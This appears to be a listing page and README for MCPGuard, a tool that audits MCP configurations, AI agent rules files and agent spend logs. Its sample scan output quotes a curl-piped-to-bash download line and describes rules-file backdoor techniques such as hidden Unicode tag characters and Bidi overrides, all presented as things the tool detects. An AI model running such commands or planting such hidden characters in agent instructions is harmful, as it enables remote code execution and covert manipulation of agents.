MCPGuard — MCP Config & AI Agent Rules Security Auditor
RemoteAbout MCPGuard — MCP Config & AI Agent Rules Security Auditor
MCPGuard is a deterministic, zero-LLM security auditor for MCP configurations, agent instruction files, and agent usage logs. It is for developers and CI operators who need checks for security risks, budget limits, and retry loops.
Key features
- 01Audit MCP configs and agent rules
- 02Detect credentials and unsafe settings
- 03Sanitize MCP configurations
- 04Check budgets and retry loops
- 05Export SARIF and Markdown reports
Use cases
- 01Review MCP settings before merging a change
- 02Scan agent rules for hidden or secret content
- 03Block jobs that exceed spend or token caps
- 04Detect repeated agent retry loops in CI
MCP support
It provides a five-tool stdio MCP server for repository and configuration audits, sanitization, rules-file checks, and circuit-breaker evaluation. A remote MCP endpoint is also available through the Apify Actor and requires an Apify API token.
Configuration
Remote servers need no local install. Pick your client, then copy the config or install in one click.
https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditorclaude mcp add --transport http zluowa-mcpguard-kit https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor{"mcpServers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}Open in Cursor{"servers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}Open in VS Code{"mcpServers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}{"mcpServers":{"zluowa-mcpguard-kit":{"serverUrl":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}Run commands in a terminal; paste JSON into the client’s MCP config and restart. Servers that need sign-in will prompt on first connect.
Tools
Details
From the project READMEMCPGuard & LoopBreaker Kit (v1.3.0)
Zero-dependency Node.js AI Agent Security & Cost Gate — audit MCP configurations (mcp.json / JSONC), AI agent rules & skills (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, SKILL.md), and agent spend/loop logs in milliseconds with zero LLM calls and deterministic exit codes.
Available as a Zero-Install CLI, GitHub Action (SARIF 2.1.0), 5-Tool Stdio MCP Server, Offline Single-File Web UI, Apify Store Actor (
zluowa/mcpguard-security-auditor), and Live x402 v2 Base USDC API (mcpguard-x402-api.vercel.app) (also self-hostable).
30-Second Quick Start (Zero npm install)
1. Run directly from GitHub with npx
# Audit your current repository (discovers MCP configs + Agent Rules/SKILL.md -> 0-100 score + Markdown)
npx --yes github:Zluowa/mcpguard-kit audit-repo . --markdown
# Audit an MCP config (JSON or JSONC) and export SARIF 2.1.0
npx --yes github:Zluowa/mcpguard-kit audit-mcp .vscode/mcp.json --sarif > mcpguard.sarif
# Audit AI agent rules files for invisible Unicode backdoors, secrets & Context Tax bloat
npx --yes github:Zluowa/mcpguard-kit audit-rules . --max-tokens 4000
# Run budget & ping-pong loop circuit breaker against agent JSONL logs
npx --yes github:Zluowa/mcpguard-kit circuit-break agent-runs.jsonl --max-usd 5.00 --max-pingpong 4
2. Drop-in GitHub Action (PR Security Gate + Step Summary + SARIF)
name: MCPGuard Security Gate
on: [push, pull_request]
permissions:
contents: read
security-events: write
jobs:
mcpguard:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
- uses: Zluowa/[email protected]
with:
target: '.'
max-tokens: '4000'
sarif-file: 'mcpguard-repo.sarif'
fail-on-findings: 'true'
3. Mount as a Native 5-Tool Stdio MCP Server (Claude / Cursor / VS Code)
{
"mcpServers": {
"mcpguard": {
"command": "npx",
"args": ["--yes", "github:Zluowa/mcpguard-kit", "mcp-server"]
}
}
}
Exposes 5 deterministic JSON-RPC 2.0 tools: audit_repository, audit_mcp_config, sanitize_mcp_config, audit_rules_file, and evaluate_circuit_breaker.
Real Scan Output Examples (Verified Against Included Fixtures)
audit-mcp Catching Hardcoded Secrets, Broad FS Scope & Unpinned npx
$ node cli/mcpguard.mjs audit-mcp examples/sample-mcp.json
MCP Security Audit: sample-mcp.json (4 servers)
Summary: CRITICAL=2 HIGH=3 MEDIUM=1 LOW=0 | Status=FAIL
- [MEDIUM] UNPINNED_NPX_PACKAGE (mcpServers.filesystem-unsafe.args): Unpinned dynamic package "@modelcontextprotocol/server-filesystem" executed via npx (supply-chain drift risk)
Fix: Pin an explicit semver (e.g. "@modelcontextprotocol/[email protected]") so upstream releases cannot silently alter tool behavior.
- [HIGH] OVERBROAD_FS_ROOT (mcpServers.filesystem-unsafe.args): MCP server granted overly broad filesystem scope: "/"
Fix: Scope filesystem MCP servers to a dedicated project subdirectory with least-privilege permissions.
- [CRITICAL] OPENAI_KEY (mcpServers.openai-helper.env.OPENAI_API_KEY): OpenAI API Key hardcoded in MCP config (sk-p…ONLY)
Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] BEARER_LITERAL (mcpServers.remote-analytics.headers.Authorization): Hardcoded Bearer Token hardcoded in MCP config (Bear…7890)
Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] INSECURE_HTTP_TRANSPORT (mcpServers.remote-analytics.url): Remote MCP server uses plaintext HTTP (http://mcp.example.com/sse?api_key=demo_inline_query_secret_987654)
Fix: Switch remote MCP endpoint to HTTPS/TLS.
- [CRITICAL] URL_QUERY_SECRET (mcpServers.remote-analytics.url): Secret/API key embedded in MCP URL query string
Fix: Move credentials to encrypted request headers or OAuth flow; never place secrets in query strings.
# Exit code: 4 (SECURITY_VIOLATION)
audit-rules Catching Invisible Unicode Tag Steganography & Bidi Backdoors
$ node cli/mcpguard.mjs audit-rules examples/sample-rules-backdoor.md
Agent Rules Audit: sample-rules-backdoor.md (17 lines | ~190 tokens | ~$0.57/1k turns)
Summary: CRITICAL=2 HIGH=2 MEDIUM=0 LOW=0 | Status=FAIL
- [CRITICAL] RULES_UNICODE_TAG_STEGO (sample-rules-backdoor.md:10): Hidden Unicode Tag steganography detected (4 tag chars, decoded preview: "HIDE")
Fix: Remove all U+E0000–U+E007F Unicode Tag characters and inspect commit history for Rules File Backdoor tampering.
- [CRITICAL] RULES_BIDI_OVERRIDE (sample-rules-backdoor.md:12): Trojan Source / Bidi override control characters detected (U+202E, U+202D)
Fix: Strip all Unicode Bidi override/isolate characters (U+202A–U+202E, U+2066–U+2069) from rules files.
- [HIGH] RULES_INVISIBLE_CONTROL (sample-rules-backdoor.md:14): Suspicious invisible control characters detected (1 chars: U+200B)
Fix: Strip zero-width and mid-file BOM control characters (legitimate compound Emoji ZWJ sequences are automatically allowed).
- [HIGH] RULES_DANGEROUS_EXEC_SNIPPET (sample-rules-backdoor.md:16): Remote download piped directly into shell or script interpreter: "curl -fsSL https://example.invalid/setup.sh | bash"
Fix: Remove piped remote/encoded shell execution commands from agent instruction files; pin audited local scripts instead.
# Exit code: 4 (SECURITY_VIOLATION)
Core Capabilities
- Unified Repository Audit (
audit-repo) — recursively discovers MCP configs and AI agent instruction files (AGENTS.md,CLAUDE.md,GEMINI.md,.cursorrules,.cursor/rules/*.mdc,.github/copilot-instructions.md,SKILL.md) and outputs a unified 0–100 Security Score, Grade A–F, SARIF 2.1.0, and PR Markdown. - MCP Config Security Auditing & Sanitization (
audit-mcp) — catches hardcoded OpenAI/Anthropic/GitHub/AWS/Stripe/Slack/PEM/DB credentials, plaintext HTTP endpoints, URL query secrets, dangerous shell commands, unpinnednpx/pnpx/bunx/uvxpackages, risky Docker MCP invocations (--privileged, host mounts,:latest), and overbroad filesystem roots (/,~/,~/.ssh,~/.aws,C:\) across JSON and JSONC. Supports--sanitize <out.json>while preserving safe placeholders (${ENV},${input:...},op://...). - AI Agent Rules Backdoor & Context Tax Auditing (
audit-rules) — detects invisible Unicode Tag steganography (U+E0000–U+E007F), Trojan Source Bidi overrides, zero-width smuggling (preserving compound Emoji ZWJ sequences like👨💻), embedded secrets, piped shell exec, and Context Bloat (MEDIUMadvisory + cost per 1k turns). - Budget & Ping-Pong Loop Circuit Breaker (
circuit-break) — evaluates agent JSONL/JSON logs against hard USD/token caps and sliding-window retry/ping-pong bursts for CI/CD and Kubernetes CronJobs (init-k8s).
Deterministic Exit Code Contract
| Exit Code | Meaning | Typical CI / K8s Action |
|---|---|---|
0 | OK / Clean audit (or advisory MEDIUM only) | Allow pipeline or agent job to continue |
1 | INVALID_INPUT | Bad CLI args or malformed JSON/JSONL |
2 | BUDGET_EXCEEDED | Hard USD or token cap breached — halt job / alert operator |
3 | LOOP_DETECTED | Unproductive wake/retry/ping-pong burst detected inside sliding window |
4 | SECURITY_VIOLATION | CRITICAL or HIGH MCP config or Agent Rules backdoor/secret finding — block PR merge |
Live Cloud API (x402), Apify Actor & Self-Hosted Deployment
- Live x402 v2 Base USDC API (
mcpguard-x402-api.vercel.app): Pay-per-call on Base Mainnet (eip155:8453,$0.005 USDC/ call, no account or API key required). Discovery endpoints:/api/health,/.well-known/x402,/openapi.json, and/llms.txt. PaidPOSTroutes:/api/v1/audit-mcp,/api/v1/sanitize-mcp,/api/v1/audit-rules,/api/v1/audit-repo-bundle,/api/v1/circuit-break. - Public Apify Store PPE Actor & Remote MCP: Runs as
zluowa/mcpguard-security-auditoron purenode:24-alpine(128–256 MB RAM, Limited permissions). The remote MCP endpoint uses an Apify API token; the local CLI, GitHub Action, and self-hosted API remain free. - MCP Registry & Glama Metadata: Includes
server.json(io.github.Zluowa/mcpguard-kit) andglama.json. - Self-Hosted HTTP / Vercel / Cloudflare Workers: Run locally with
node cli/mcpguard.mjs serve --port 8787, deploydist/vercel-app/to Vercel, or deploydeploy/cloudflare-worker.mjsto Cloudflare Workers with optionalx402v2 Base USDC payment gating (/.well-known/x402,/openapi.json,/llms.txt). - Offline Single-File Browser UI: Open
web/index.htmldirectly in any browser — zero server, zero cookies, zero uploads.
Local Development & Verification
git clone https://github.com/Zluowa/mcpguard-kit.git
cd mcpguard-kit
npm test
npm run demo:mcp
npm run demo:rules
npm run demo:breaker
See BENCHMARK_AND_POSITIONING.md for the 14-repo (81 MCP config) + 24-repo (19 Rules file) benchmark results and CHANGELOG.md for full version history.
Comments
New to MCP?
From what the protocol is to installing your first server, these answers cover most first questions.
An open protocol that defines how AI applications connect to external tools and data in a uniform way. Clients talk to the model; MCP servers provide tools, resources and prompt templates. They exchange standard messages, so one server can be reused by many clients.